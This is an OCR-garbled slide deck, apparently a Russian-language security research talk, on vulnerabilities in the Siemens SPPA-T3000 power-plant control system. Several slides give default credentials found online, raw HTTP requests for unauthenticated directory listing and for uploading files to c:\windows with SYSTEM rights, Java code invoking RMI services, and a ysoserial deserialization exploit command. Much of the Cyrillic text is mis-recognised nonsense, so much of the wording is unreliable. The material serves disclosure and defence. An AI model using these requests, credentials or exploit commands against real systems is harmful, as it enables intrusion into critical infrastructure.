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0 KoMaHae

~10 net B copepe Ub Ha kaxporo

* CepTnpmnkaTsl (0OSCP, OSCE, CISA, .. ),
koHpepeHunn (DEFCON, CCC, Slngapore ICS Cyber
Security, ... ), CVEs & Bug Bounty,

« JlabopaTopmusa Kacnepckoro, ynpaBJ/ieHME CEPBUCOB
besonacHocTn (TecTUpoBaHME Ha MNPOHUKHOBEHMUE,
aHaAM3 3aluueHHOCTMn, Ap.)

I'ne6 I'puuan EsreHuna louenyeBckas
Cepren AHpopees AnekcaHap KopoTuH

Cepren Cupopos Pagy MounaH



JNEeKTPOCTaHUMM MNOBCHAY

Mexico
»
"5.: .
Cap,

"
Guatemala
L.

vd %beap sea
Nicaragua

. Sam o2 ¢
Pandfr oy »
B _. " Venezuela

Colombia Surlnar‘né

Ecuador

Peru Brazil

“.. "Bolivia

* Paraguay

"
o s
Argentina“‘?"
Chile", %

Iceland

Sweden

Finland
. &
ot g
Estonia
) Lithuania « , *,
PP Iy ~l::'el'arys_
S L AR Roland.. A

Germanys™ .
2RI &
F Austria® »* "

¢ Ukraine *

rance A~ .

2Nne M
“Créatia Romania

e 5 ol
Ko %

¢ lte_)ly, !

T

North
Atlantic

Bulgaria

Qie_eée.}_ .Turkey

Ocean : o eay . s,.

g Irag ?
.‘f:. . .
b L 3]

Egypt

e
g Kuwait~ *
5 Algeria Libya -
Western R o
Sahara Saudi Arabia

Mauritania

Mali Niger

Y.
Senegal Chad Eritrea emen
: 2 Sudan
AR Burkina Faso N . Djiboui

igeria T
Ghana; .+ +, Centrall\h‘wcan Elh_lOpla
5. ot Republic
Democratic
Republic of g,

the Congo

- Gabon K‘enya .

Tanzania

« Angola
J Zambia

Zimbabwe
Namibia
South
Atlantic

Ocean

South Africa
. * 2

~%

~
< .3
% -

Azerbaljan .

Madagaécar

Russia

Kazakhstan
. Mongolia®

Uzbekistan et
s 2 =

n % Tajikistan

fan Afghanistan~

Pakistan,#: - ¥ * Nepal

.

Bhutan « »

- y Mg, »
e ." oa Bangladésh <
Oman 7_%, India - e
s I Laos
Arabian % gy

A ¢ k.S o
.- “""Vtelnam
b2 | y

Sea

w r

e
Sri Lanka

:: Power Plants by Fuel Type

M Coal

M oil
Gas

M'aumius . Hydro

Il Nuclear
Solar

H Waste
Wind
Geothermal

M Biomass

Others

e, 43

. " L
o P
A
= ":"’Q,rf.}'
’-.-.\v;'; hy # #North Korea

Jabé‘rﬁ

*. £
> Q‘AV South Korea
¥in ~‘(“_

v 1
S

3 y
Philippines

v

e (e 06 x



https://github.com/wri/global-power-plant-database

JNEeKTPOCTaHUMM MNOBCHAY

Aeroderivative

gas turbines

https://new.siemens .com/cn/en/products/energy/power-generation/gas-turbines. html



Siemens SPPA-T3000 B Poccuun

s npeanpusTHii YHEPreTHYECKOi  oTpacin
OezonacHocTi "

AKHIHCHHO

MAKCHMAIBHBIN
OTKAIOYCTOHYHBOCTH

YPOBEHb

obopynosanus
HeoOXoAuM. B mactosuiee BpeMs 3HauMTENLHAS YaCTh
YCTAHOBJICHHOIO OCHOBHOIO M BCNOMOTaTeILHOIO
obopyaosauns TIC n TIL| Poccun sripaborana ceoii
pecypc 1o o0ycaoBnHBaeT BO3PACTAIOLLYIO
noTpebHOCTE B MOJACPHHIAUMH M JaMEIUeHHH
HIHOIIEHHOro 0GopyAoBanus MekTpocTanimii Poccnn, B
TOM YHC/IE IHTATeILHLIX TYPOOHACOCOB

H3 BCex MIEMEHTOB BCIIOMOraTeIbHOrO
obopyaosanns cospemennnix TOL nurareasusie Hacock!
YCTAHOBOK 110 CBOEMY MECTY M HAZHAYEHHIO MOTYT ObITh
OTHECEHBI K OCHOBHOMY TRILIOMEXAHHYECKOMY
000opyAOBaHKHIO JHEProyIoKa. 3a4acTyio HenpasiiLHO
nofo0panubie NHTATENLHLIE HACOCH NPHBOAAT K
asapuiinei curyaumasm. [looromy Tak npHuIMNHATLHLI
M BaxHel TPeOOBAHMA, KOTOPOE NPEALABISETCH K
YKCILTYaTAIHH NHTATeNLHBIX Hacocos (1]

Ha oueprobnoke Ne 8 tenzonnexrpouenrpanu
91 21 OAO «Mocounepro» moummocTsio 250 MBT ¢
rerodukaunonnoil Typounoi 1 240 wu razo
IT'™IT 31411
naponpon3soanTensHocThio 1000 1/4 Guuta nponsseiena
MOJAEPHHIALMNS NHTATENLHO TYPOOHACOCHOI YCTAHOBKH

MAIVTHRIM KOTJIIOM ™A

[lpp  Moaepum3aMM  YCTAHOBKH B KauyecTse
nUTarebHoOro 1\“\"\'H‘I£U\il Obin Ill»l\"i\,lll CeKLHOHHBIH
wyxkopnycuslii nacoc tina HPT d¢upmmt SULZER

DynKuHOHANLHBIR CXeMbl " BHACOKA/PLI
aBTOMATHIALHK NHTATEILHOMN YCTAHOBKH, HX
MHamplalus  paspabarwiBanice Ha OGale Hoeiimero
nporpaMmuo rexundeckoro komrmekca [ITK SPPA
13000 Siemens| koTophiii ObLT azanTHPOBAH W BHEAPEH B
pesyasTare noanomacurabuoii mogepunizaunu ACY TI1
meprodnoka Ne 8

IITK SPPA T3000 smnserca paspaborkoii (upmbl
Siemens B o01acTH ABTOMATHIALUMH YIEKTPOCTAHIIHIA,
Bhiten Ha Muposoii puinok B 2005 2006 roaax. Cucrema
KOHTpOJIS W ynpasienus, nocrpoennas ua Oaze [ITK

13000, npeanaspavena Q18 BLINOJIHEHHS BCeX

127124 ABTOMATH3IALMK 0GOPYA0BAHHS MIEKTPOCTAHIHH,
TTOMHMO BLINOIHEHHSA TPAAHIHOHHLIX 33124 YTIPABICHHS
eprernueckumu  yeranoskamu, [ITK SPPA
NO3IBOJAET AAANTHPOBATEL €€ NPHMEHEHHE K PalIHYHLIM
YCIOBHAM KOHKPETHOIO MPOEKTa, 4To ofecrnevnsaet
NoBLIICHHE wppexTuBHOCTH
1CATeLHOCTH YIeKTpocTanmy [2, 3

Ocuosusie npenmymiecrsa SPPA T3000, nosoro
yTanona B 001acTH YIIpaBieHns

OnepaTuBHON

. npocToe yhapasjieHue, no3soJgonee
«‘llk‘]\il“[hl\l Onlc PO OCBOHTE CHCTEMY!

® muicokas H(PPEeKTHBHOCTL pacrpejeneHns
TAHHBIX uyxnas uudopmauns B moboe Bpems, B
moboM MecTe;

® HHIKHE 3aTpaThl B TeYeHHE BCero Ccpoka

ciykOB! 18 onr OCPOYHOIO KOMMEPUECKOIo ycnexa.

Hoewi MTK qamprl‘Siemens SPPA-TBOODL BblLUEALIWIA HA MMPOBOW pbIHOK B 2005—
2006 ropax u yxxe B 2007—-2008 rogax npumeHeHHblin 3A0 «MHTepaBTOMaTUKa» B
naTtu npoektax ACY TI: 2 aHeprobnokax MIY-450 T3L-27 OAO «MocaHepro» u 3
aHeprobnokax T-250 TALU-25 u TOL-26, — B apXUTEKTYPHOM nnaHe OTHOCUTCA K
nocnegHemy, Yyetseptomy nokonexuio MNTK. MNpegbiaywmne nokonexnus MNTK nmenn
KOMMOHEHTBI (KOHTPONMepkbl, ONeparopckue U apx1BHLIA cepeepa, onepaTtopckue

TEPMUHANbI, MHXEHEPHYH CTaHLMIO U T. Ai.) CO CBOMM COBCTBEHHLIM NPOrpaMMHbLIM
ofecneyeHWemM, MHOrAa NOCTPOEHHbLIM Ha pasnuyHbIX Nnartdopmax, 1
HeobX0AMMOCTLIO CBA3LIBAHUS KOMNOHEHTOR MeXy coboi Ana opraHM3auum ux
coBMecTHOW paboThbl. MpuHUMNUansHBIM oTnuydnem ot Hux SPPA-T3000, kak MNMTK
4YeTBepTOro NOKONeHus, ABMAETCA BCTPOEHHOCTb BCEX KOMMOHEHTOR, Kak annapaTHsbiX,

Tak U NPOrpaMMHbIX, B €QUHYH CUCTEMY C eOUHBLIM nonemM MHdopMauUn U eaUHbIMK
NpUHUMNAMKM UX BHYTPEHHEro B3auMoaeMcTBUSA. XapakTepHbIMU 0COBEHHOCTAMU

SPPA-T3000 sensitoTCs:

a a

Kowmmnexc pa60TaeT moa yipabJICHHEM JIMOCH3HOHHOIO IIporpaMMHOI0 obOecreuyeHus

"SPPA-T3000(, Bepcuss 07.1.09.03. u pa3paboTaHHOTO HA €r0 OCHOBE IIPOrPAMMHOIO IPOEKTA aBTO-

Mmatu3anuu sHeprodsoka Ne3 u ACY 9TO HA.600.PTI-ATX.01.200 "Unit 3" u "Eto".

Kon¢urypanus nmporpaMmHOro npoekTra aBTOMaTH3al[id BHINOJIHEHA IO7] 3a/la4d KOMILIEKCa
aBTOMAaTHU3UPOBAaHHOIO M3MepurenbHO-ynpasisomniero "KH-3b63-5.0H Poccusi-bepesosckas ['POC".

[Mporpammuoe obecrnieuenue "SPPA-T3000" umeer ypoBeHb 3anmThl "Bricokuit", obecneun-
BalONIMi NMPUMECHEHHE OTHOKpaTHO HHcTayumupyemoro npoekta HMA.600.PIT-ATX.01.200 "Unit" u
"Eto" na 6a3e muen3uonnoro I10 "SPPA-T3000", yctaHOBIEHHOrO Ha CEpBEPHI, UHIKEHEPHBIE U pa-
6oune CTaHIIMK U3MEPUTENBLHOTO KOMILIEKCA.

3amuTa OT HECAaHKIIMOHUPOBAHHOIO M3MEHEHUS allrOPUTMOB U3MEPEHUI, peoOpa3oBaHus U
BEIYMCIICHUS MapaMeTpoB o0ecnednBaeTcss CUCTEMOM JJIEKTPOHHOIO NapOJMpPOBaHUA JOCTyINa K MH-
tepdeticy [10.

Mertposiorudecky 3Ha4MMbIE NapaMeTpbl HACTPOEK HM3MEPHTENbHBIX KaHAIOB U pe3y/IbTaTOB
HU3MEPEHHUN 3aKpHITHI IEPCOHAIBLHBIM MTAPOJIEM.

W neHTHOHKANHOHHBIC TaHHBIC (IIPHU3HAKH) 3Ha4yeHHe

HnenrndukannonHoe HaumeHoBanue [10 [Iporpammusie poektsl "Unit 3" u "Eto" Ha

0a3e umxenepHoro nakera "SPPA-T3000"

Howmep Bepcuu (naentudukaimonssiii Homep) 110 Bepcus 07.1.09.03

[Mudposoit uaentudukarop I10 KonTposbHas cymma 0aiiToB 10 aJlrOpUTMY
npoBepku MDS5

041D8FD98F00B204E2200998 ECF6644E

Hpyrue naeHTHUKanOHHbIE JaHHbIE OTCYTCTBYIOT




Siemens SPPA-T3000
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BbiasBNEeHHbIE YA3BUMOCTM

AFFECTED PRODUCTS AND SOLUTION

Affected Product and Versions

Remediation

External Application
1o CWVSS D CVsSs
SIEMENS-2018-002 10.0 SIEMENS-2018-001
SIEMEMS5-2018-003 9.6 SIEMENS-2018-004 8.3
SIEMEMS5-2018-005
SIEMENS-2018-006
SIEMEMS-2018-007 (1) 9.8
Automation Migration
o CV55 D CVss
SIEMEMS-2018-015 7.8 SIEMENS-2018-007 (2)!7 8.8
SIEMENS-2018-026 7.8 SIEMENS-2018-008
SIEMEMNS-2018-027 7.8 SIEMENS-2018-009
SIEMEMNS-2018-028 7.5 SIEMENS-2018-010
SIEMENS-2018-029 7.5 SIEMENS-2018-01 | 8.8
SIEMEMS-2018-030 9.6 SIEMENS-2018-012
SIEMEMNS-2018-03 10.0 SIEMENS-2018-013 7.5
SIEMENS-2018-014 7.5
SIEMENS-2018-016 two
SIEMENS-2018-25
”Security of DCS for turbines - 2020 .pdf” in

https://github.com/klsecservices/SPPA

SPPA-T3000 Application Server:
All versions

18333, CVE-2019-18334, CVE-2019-18335

only affected by CVE-2018-4832, CVE-2019-
18283, CVE-2019-18284, CVE-2019-18285,
CVE-2019-18286, CVE-2019-18287, CVE-2019-
18288, CVE-2019-18314, CVE-2019-18315,
CVE-2019-18318, CVE-2019-18317, CVE-2019-
18318, CWVE-2019-18319, CVE-2019-18320,
CVE-2019-18331, CVE-2019-18332, CVE-2019-

Fixes for CVE-2019-18331, CVE-2019-18333,
and CVE-2019-18334 are included in SPPA-
T3000 Service Pack R8.2 SP1. Please contact
your SIEMENS service management organisation
to obtain the update.

For remaining CVEs, see additional recommenda-
tions from section Workarounds and Mitigations.

SPPA-T3000 MS3000 Migration Server:
All versions

CVE-2019-18330

only affected by CVE-2019-18289, CVE-2019-
18280, CVE-2019-18291, CVE-2019-18292,
CVE-2019-18293, CVE-2019-18294, CVE-2019-
18295, CVE-2019-18296, CVE-2019-18297,
CVE-2019-18298, CVE-2019-18299, CVE-2019-
18300, CVE-2019-18301, CVE-2019-18302,
CVE-2019-18303, CVE-2019-18304, CVE-2019-
18305, CWVE-2019-18306, CVE-2019-18307,
CVE-2019-18308, CVE-2019-18309, CVE-2019-
18310, CVE-2019-18311, CVE-2019-18312,
CVE-2019-18313, CVE-2019-18321, CVE-2019-
18322, CVE-2019-18323, CVE-2019-18324,
CVE-2019-18325, CVE-2019-18326, CVE-2019-
18327, CWVE-2019-18328, CVE-2019-18329,

See recommendations from section Workarounds
and Mitigations

Advisory is based on
submission from
several different
teams

https://cert-portal.siemens.com/productcert/pdf/ssa-451445.pdf



Mooenb yrpos —

D CW35s
KL-SIEMEMNS-2018-007 (2)17 8.8
KL-SIEMEMNS3-2018-008
KL-SIEMENS3-2018-009

External iternet KL-SIEMENS-2018-010
ID cvss f KL-SIEMENS-2018-01 | 8.8
KL-SIEMENS-2018-002 10.0 KL-SIEMENS-2018-012
KL-SIEMENS-2018-003 9.6 amote EKL—SIEMENS—IDIB-OIB 7.5
KL-SIEMENS-2018-005 Ipport KL-SIEMENS-2018-014 7.5
KL-SIEMENS-2018-006 AS/MS/CS Etg:gmgmgig::g; 6 to
KL-SIEMENS-2018-007 (1) 9.8 I
' Remote
support
. =0
Process data o~ . Network L ETL]
OS, Apps, AV - Engineering terface Automation : N,
updates H Application server Turbine network
Logs £ rver
Historian, H Automation
updates, ID cvss|
logs OPC KL-SIEMENS-2018-015 7.8
KL-SIEMENS-2018-026 7.8
KL-SIEMENS-2018-027 7.8
Application . KL-SIEMENS-2018-028 7.5
ID CV5S > KL-SIEMENS-2018-029 7.5
KL-SIEMENS-2018-001 KL-SIEMEMS-2018-030 9.6
KL-SIEMEMNS-2018-004 8.3 Vibration, noise, etc. KL-SIEMEMS-2018-031 10.0
sensor applications




Mooenb yrpos

® |nternal attacker Application Network

' (operators, enginesr, sfc.) Control over Application Server or user-level

access via Java RMI Registry vulnerabiities

Intercepfing credentiak for Application Sever and

obtaining gecess fo it (application level) 1 Refrieving sensifive information (user IDs and

Is) d hashes) from Application Server via
Java RMI Registry vulnemabilities

Control over Application Server OS via
unresticted file upload on the web server

Access to sensitive configuration files on the
Application Server web server

ation Server O3 via -
/cr otherinstalled software T
/

ation Server OS via defautt
2 in public sources - Extemnal attacker

External Network
(via VPN, optional)

oS (via vulnerabilifies in I
&, or Application Server)

[foapobHee
CcTaTbe

Application Server J Privlege escalation is possble

1 & |ucky intemal attacker Automation Network (accessviaa
' compromised Application or Automation
server, or through physical compromise)

aafion Server OS via default . S
e in public scurces

Control over Automation Server via intercepting insecure
communications

Server Migration service if
Confrd over Automation Server OS via RPC Regisiry
BarEnT fon vulnerabilities it Migration services present
n Autorm ‘

vice if available Retrieving sensitive information (contents of any file] from
Automation Server via RPC Registry vulnerabilties if
igration services present

W

Automation Server

a1 Privilege escalation is possible
w internal attacker

nation Server Migration service — |

Control over Automation Server via
vulnerabilities in the Migration service T
i R A
[potential) - RO
Migration network
(opfional)

Field devices, turbine, generator
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CepBep NPUIIOKEHUN

OC Windows
« Server 2003 to 2016
« MS17-010 to CVE-2019-0708 depending
on the time window
MSSQL, Cygwin, Apache Tomcat, etc.
« Security updates (e.g. CVE-2016-3067
fixed in R8.2), configuration issues

SIMATIC package

* Dependent on another product releases Windows Server 2008 R2
« SPPA-T3000 package
« Java CIS benchmarks

Note: Siemens ucnpaBui HangeHHbIE
ya3BumocTn B 2018 mn 2019 ®

22
(56%)

MSSOL, Server 2005 Apache Tomcat 6.0



OSINT nmaponn B OTKPbLITOM OOCTVYNeE

C | ® https://wenku.baidu.com/view/3e5e5a230722192e4536f64b.html

Interf&EE)

(1]
Bai@® X

L I

-_F S AN R LR RS 28
T 4 PR sest R A4

3.4 “Computer” =HIANRF284, i “Connect” ¥ X iHHE
WS 4 gEtEAE AR N P 4TS (/7 4499 TXPadmin, #7%: TXPplus04)

EFTHF

Computer Xf AR S54% Mrs Y Computer Xf LA S5 4% MrR4 Y
winservl0 | #1 M4k # | TXPadmin | TXPplus04 | opesrvl0 #1H1# OPC %% | TXPadmin | TXPplus04
172.17.20.1 | #1 HIEHMRSEE | TXPadmin | TXPplus04 | 172.17.20.2 | #1 §l# OPC Mi%# | TXPadmin | TXPplus04
Winserv20 | #2 HI4HRS# | TXPadmin | TXPplus04 | opcsrv20 # hu opC %% | TXPadmin | TXPplus04
172.1820.1 | #2 HI4HMRS%% | TXPadmin | TXPplus04 | 17218202 | ##UMOPC/E%%E | TXPadmin | TXPplus04
winservl2 | AHRZMSES | TXPadmin | TXPplus04 | opesrvl2 | AM%%OPC Hi%% | TXPadmin | TXPplus04
172.1620.1 | AFHAGMRS% | TXPadmin | TXPplus04 | 17216202 | #MR%OPC H%% | TXPadmin | TXPplus04
[ ‘ B & . -
< l
1L
4 gLoﬂr;n‘ﬂ'cﬂ\.:l “Uniz_
. Hghway P TR (stomten ) 1+ IMHFFHLAS3000
{ Automation
N Higway
. _ _ 2. FFHLE A H P “autsrv001 login: *
s Guu= D Qums O B @
B 1 BHRELH autsrv00 llogin:cmadmin

Unit1/z Application Highway

)

o/

HHBLAN T 1 T

*Password for user cmadmin is expired

earch?q=cache:YtgOYE1gZnUJ:https://wenku.baidu.com/view/3e5e5a230722192e4536f64b.html+&cd=1&hl=en

LRSS, B PIoTIBUS WIS FiEF1F (IMID3-4) MITENIRIDUNAR. WESRTS LPU JEEOaBRiEx
HITERFEY ProfiDP SHERD TEM OSM #iflEix, DURSBEERENGCMOREE, BTHNERXT 4N APE
W3R, X AP101 (AP201) -AP107 (AP207) X#Rifeai#, AP108 (AP208) X SOE £W)2, AP109 (AP209) -
AP113 (AP213) BHESHIE, AP114 (AP214) XBABLENER, ABRHKE 2 X AP SHBRER, TERETES
RAKRERBEY, RP@AKRENGER 10 35, MIXSS AP ZEETT #ifl. 2210 ¥4, BFRAD L S & %
16 i¥E 16 8% 8 ¥ 8 FifH 8 FiH 8 JE 16 88 + £ & B BFMBA 4 BFRRLFG RUMBA£4 g6
WL+ 4 ABEBMA RS ABEAWMAFE SOE +4 8 7 1R & A Dl HEW 7R DO #|EW TR DO BEE TR Al EHEH
IR AO BN FIR TC BERMTR RTD AR FIR B § & 2 MRTF—MEE X SM321-1BHO2-0AA0 SM322-
1BHO1-0AAQ SM331-7KFO2-0AB0 SM332-5HFOO-0ABO SM331-7PF11-OABO SM331-7PFO1-0AB0O SM350-
2AHOO-0AEQ FIM-DI20 FIM-DO20 FIM-DO20-L FIM-AI20 FIM-AR40 FIM-TC40 FIM-3RTD40 2 M&F— B3],
RN 3 MRF—TEER, FRANARK 3 MEF—NEE 4 METF—NEE 2 MEF—TEE 4 MEF—1NE
o Y EXHEWMRPREIIER FIM-DO20-L SR TREBSA M ESRERNE, HABRN 6 MEFLB—-TMRER
ERGNBIN, SURSHRITEBAB—MEER 3. BifaM DCS HAUT B/ NRMABAKNEAMABRE, Hhg
THERARRRGARINNBRE, RAKGER RIVNGH: REAK, TRMA, T4, HERSBIUER
ROUTER: EMAEAKAMEMAUMIVENLR, HBRSFIMESRSR UPS, LENEHE 24V AMBRAEE AP SHIBH
By RESE, —. XMEREF BN (BERFAK. TRMIS HRs) XEERSNERAFFO-REF, —8
BRAESESCINERS AFEFEHREE, ROYDBR, U KEDR, SRER. EERGSEXDE, £/ LXEFAEE,
TP 2R ER T3000 RE-SRENE BN AMEEZE RN AT SERRIEA - B4 ZRUA — A

B EWABFANTE HRAFEF 4 || Administrator. TXPplus04;

=58 —ARE % operator, #i5: operato

Internet (c)

3asBNeHMe BeHAopa:
* OnepaTop o06fi3aH CMEHWUTb Napo/b

nocne BBOAA CUCTEMDI B
terfg; aKcnayaTauuo
« C 2014-2015 roga naponam cCTanm
VHUKaNbHbIMU ans Kaxgowu n3
Internet (c) SJ'IeKT'pOCTaHLI,VIVI




SPPA-T3000: Kak
3/1EeKTPOCTaHUMNEN

* TOHKUN KIUEHT

 BzammopgencreyeT no HITPS
C CepBEPOM NPUTOKEHUN

e ToOnCcTbin KNUNEHT

« ObHapyxmMBaeT CEpPBMUCHI B
nomowbid RMI peectTpa

 B3ammopgencreyeT
HenocpeaCTBEHHO C
cepBMCaMm Ha cepsepe
NPUSTOXEHUN

onepaTop yNpaBiseT

Thin
Client
’f&gﬁT.

OPC
Client

https://www.siemens.com.tr/i/content/3852 1 T3000-SystemOverview_March2008.pdf



SPPA-

T3000 npmnomeHMﬂ M PONN

Web Browser

Thin Clients User Interfaces

[

[ VA Imaae %mwco ]/
Archive ReportContainer

FLEXIm Service RMI-Registry =
;' L &
LicenseContainer ProjectContainer MySQL Service ]

[ VA Archive Engine
a TrenansplayServer PlantDisplayServer

D (=

]

B >3 —_ I — Diagnostic
. L S Sy stam Container

Container

<OPC Clients

. CM Runtime
Automation Platform sl h Container

J

Containers

= MonitorContainer Runtime —
OPC Server (o] — Container _ e QD OSN/ESM
Communication - S7 Realtime —
o

v

Third party
devices

Process Interfaces

v
[" m . .-FT’-:,’-] 10 Modules “

Illustration from SPPA itself http://sppa-app:8080/RemoteDiagnosticView/images/architecture.jpg



SPPA-T3000 npunoxeHna mn ponu

Web Browser
Thin Clients

RMI-Registry

=l

LicenseContain. ProjectContainer

@] a

Archive ReportContainer

RisplavServer |,| PlantDisplaySe

E Alarm System T@'

lonitorContainer Runtime
Container —_—

o Communication | o
DrD r ~
Container J

CM Runtime
pntainer

Third pa
devices




OWASP top: directory listing

« /orion/software/config - ¢annsbl
KoHpurypauum 0 SPPA-T3000
« pc\SystemConfiguration.xml
« afc\*

« /orion/software/config/tomcat/we
b.xml - kKoHpurypauma Orion
WebApp aona Tomcat

E D:\SPPA-T3000\ApacheGroup\Apache2\conf\httpd.conf - Notepad
File Edit Search Wiew Encoding Language Settings Macro Run  Plugine Window 2

o HB % odﬁhk’ﬁﬁﬂﬂﬂlﬂ‘ml # "!|_"-'|f—+

|;| httpd .conf Jl

343 Alias Sgrion/software/ "D:/SPPA-T3000/0rion/software/"
344 «Directory "D:/SPPA-T3000/Crion/softwarse">

Shs Cptions Indexes MultiViews

346 AllowCverride HNone

34 Order allow,deny

348 Allow from all

349 <« /Directory>

Index of /orion/software/config

« Parent Directory
+ AdminConsoleLogging properties

» AeServerLogging.cfg

e Alarmlogging cfg

« Archivelogging cfg

« CallHomeLogging.cfg

e CecLogging.cfg

» DSLogging.cfg

« DialogAcknowledger.cfg
« FilelOApplicationService/
« FsFmLoggin

o ofo

« Hwlogging cfe

« [0-Tools/

« ImServerLogging.cfg
s LicLogging.cfg

« LockEngineering.cfg

» MonitorLogging.cfg

» OpcClientApil.ogging.cfg




Orion cepB/ieThl

5 cat Hpa.cheﬂrm.tg/ﬁ [il‘acheTnmc-:‘;l:/q-Jeh?ppsEur;nn/'..‘EB—[HgF.--"l.-Jf.-]iJ.x?l i grep Lll‘%\‘pﬂ.tt&:‘l‘l
[ J 5 uprl=pattern erylet s ConfigurationfServiet{ /url-pattern
On b I-u a-ﬂ I-I O B er H OCT b a- T a- K M {url-pattern>sservlet FeaturelsageDataDispatcher< url-pattern>

Lurl-patterniszervlet/BrovselServiet{ url-pattern’
{url-patternrsservlet /Filelpload< url-pattern>
{url-pattern?sservlet -FilelploadServlet{ url-pattern>

S Cep BﬂeTb| C ((M HTepeCHbIMM>> (m-l—Eattern)/aerulet./Lﬂca.Ian ipserule.t(.--"ui-l—Eattet-n}
furl-pattern*/servlet-FileDeletionServlet{ url-pattern>

VI M e H a M M Lupl-patternrs/servletLocalCopyServietd /url-pattern?

{Lurl-pattern>sservlet-HiringFilelUploadServlet<{ url-pattern>
Lurl=-pattern>sseprvlet/LinkSeruvlet{ /url-pattern>
Lurl-pattern>sservlet  LinkBrowseServilet{ url-pattern’

B I‘OWS e S e I‘VL Et Lurl-patternrsservletCopyServiet< url-pattern’>

{url-pattern>sservlet dJarlerificationServlet{ /url-pattern’
J furl-pattern>sservlet CopyServerFolderServilet{ surl-pattern>
F l.L eUp.L Oad {url-patternr> servlet ManagerServlet{ url-pattern’
{url-pattern* serviletsInfoServiet{ /url-pattern>
{url-pattern> servletsInageServlet{ url-pattern’
Lurl-pattern?sservlet-HultilnitServlet{ url-pattern>
Lurl-pattern>sseprvlet/pc/ServiceFactoryds/url-pattern?>
{Lurl-pattern>sservlet report-ServiceFactory{ url-pattern’
Lupl-patternrsserviletstrenddizplavysServiceFactorydsurl-pattern?
o Ce BpneTbI C ((MHTepeCHbIMl/l)) {url-patterni/servletsalarm ServiceFactory{/url-pattern>
Lurl-pattern*sservlets/pds-ServiceFactory{ url-pattern>
Lurl-pattern>/seprvletsds ServiceFactoryd  /url-pattern?
q)yH KLIIVI.QMM {Lurl-pattern’ servletsls ServiceFactoryi{ url-pattern>
{url-pattern>sservletsvadriver ServiceFactoryd /url-pattern>
. {Lurl-pattern>sservlet monitorsServiceFactory{ url-pattern’
) pC/SerV1ceFaCtory {url-pattern’/servlet -UGBUploadServlet{ /url-pattern’
{Lurl-pattern>sservlet  vgh/#{ /url-pattern’>
Lupl- ﬁﬂttﬂrﬁ}/lﬁrulﬂt/UGBEPGUaE ervietd{ url-pattern>
fLurl-pattern>/servlet  ArteGenerat IDI'H;D]JyDE"f‘l‘lptlﬂl‘lFllEEuEl‘U let{/url-pattern’
curl-patternrsservilets/ExportDescriptionFilesServlet<{ url-pattern?
Lurl-pattern>/seprvlet ArteFilelploadServiet{ url-pattern
Luprl-patternssserviletsArteFileDeletionServlet< url-pattern’?
Lurl-pattern>/servletCopyFilesServlet{ url-pattern>
{uprl-patternrsservlet HelpSetPluglnferviet{ /url-pattern>
furl-pattern>sservlet ReportDesignServerd url-pattern’
Lurl-pattern*sservletDatLog-ServiceFactorys788<  /url-pattern:
{url-patternrsservlets10-Tools ServiceFactorys1988</url-pattern>




Orion cepB/ieThHI:

Unauthorized directory
lListing

POST /orion/servlet/BrowseServlet
HTTP/1.1

Host: <ip address>:443

Accept:...

Accept-Language: ...

Accept-Encoding: ..

target-name: orion/OrionImport/
basedir: d:/

list_type: files_and_dirs
Connection: close

Upgrade-Insecure-Requests: 1
Content-Length: ©

VA3BUMOCTM

Unauthorized file upload with
NT AUTHORITY\System rights

POST /orion/servlet/FileUploadServlet
HTTP/1.1

Host: <ip address>:443

Accept: ...

Accept-Language: ...

Accept-Encoding: ...

target-name: test_file.exe
basedir: c:\windows\

Connection: close
Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
<arbitrary file content>



Orion cepB/ieThHI:

Unauthorized directory
lListing

POST /orion/servlet/BrowseServlet
HTTP/1.1

Host: <ip address>:443

Accept:...

Accept-Language: ...

Accept-Encoding: ..

target-name: orion/OrionImport/
basedir: d:/

list_type: files_and_dirs
Connection: close

Upgrade-Insecure-Requests: 1
Content-Length: ©

VA3BUMOCTM

Unauthorized file upload with
NT AUTHORITY\System rights

POST /orion/servlet/FileUploadServlet
HTTP/1.1

Host: <ip address>:443

Accept: ...

Accept-Language: ...

Accept-Encoding: ...

target-name: test_file.exe
basedir: c:\windows\

Connection: close
Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
<arbitrary file content>

Unauthenticated remote command
execution



Noctyn Kk RMIL cepsBucam no 445/tcp

CepBnet pc/ServiceFactory nepeHanpasnsget HTTP
3anpocbl kK RMI cepsucam B PCServiceFactory
e Co3paHne HTTP 3anpoca

con. setRequestMethod ("POST") »

con.setRequestProperty ("requestType", "REMOTESERVERSERVLET METHODCALL"):

conl. setRequestProperty ("servicelrl", "pc/ServiceFactory/com.pg.orion.pc.session.SessionService")
con.setRequestProperty ("serviceId", "1"):

con.setRequestProperty ("id", "0");

con. setDolutput (true) »

JutputStream o3 = con.getlOutputStream() »

List<0kject> obj = new ArravList<~>{):

Okject[] args = {1»

obj.add ("public abstract java.util.List com.pg.orion.pc.session.SessionService.getloginiSessions() throws java.rmi.RemoteException"):
ckj.add{arcgsa);

OhjectOutputStream oos = new ObjectlutputStream(ocs) ;s

o8 .. writelbject (ckj) »

« ObpaboTrka HTTP s3anpoca B base.jar knacc
RemoteServerServliet Meton doPost

returnedObject = invokeRmiMethod(sessionID, serviceID, rmiService, methodArguments,
serviceUrl .getExtension(), methodSignature);




Java RMI peecTp

YassumocTn pgecepuanmsaumm Java (ysoserial)

RMI Registry java -cp ysoserial-
all.jar vysoserial.exploit.RMIRegistryExploit <ip address>
1099 CommonsBeanutilsl "calc.exe"

£ Loginservice
----- Fo® SERVICE_URL : String

YassumocTnn RMI cepBucos SPPA &lmiisEncs.

----- i authenticateUser(int, String, byte(], String) : int

LookUpService

Eﬂ AdminServiee e i@ changeUser(int, String, byte[], byte[]) : void
..... 4@ chedk(String[]) : boolean g chedkSession(int) : boolean
..... 4@ commitall() : void -5 getOwpDefaultUser (String) : String

..... 4 correct() : void @ getOwploggedInUsers(Siring) : List

_____ ® getFolders(String) : List g getPasswordChecker(String, boolean) : PasswordChedker
PCSe rv i Ce F aCt _____ ® getNeme(:Stting " el getSDa?(String} : semrityToolsz.Dam
. i@ getSessionId(int) : int
..... 4@ getSimaticResources(int) : CpuResources 4@ getTerminalSession(String, int) : String
Or ----- 4@ getSimaticResourcesAsString(int, boolean, boolean) : Sting 1 & getTme( : long
""" @ initlists() : void @ getTimeZone() : TimeZone
----- #@ isEngineeringLockable(boolean) : boolean g9 getlipgradeData() : UpgradeDats
----- 4@ isEngineeringLockedForall() : boolean -4 getUpgradeState() : int
----- i@ leaveEngineeringSection() : void @ getUserld(int) : int
..... 4@ lockEngineering(boolean) : int]] g isTerminalSessionUsed(String, int) : boolean
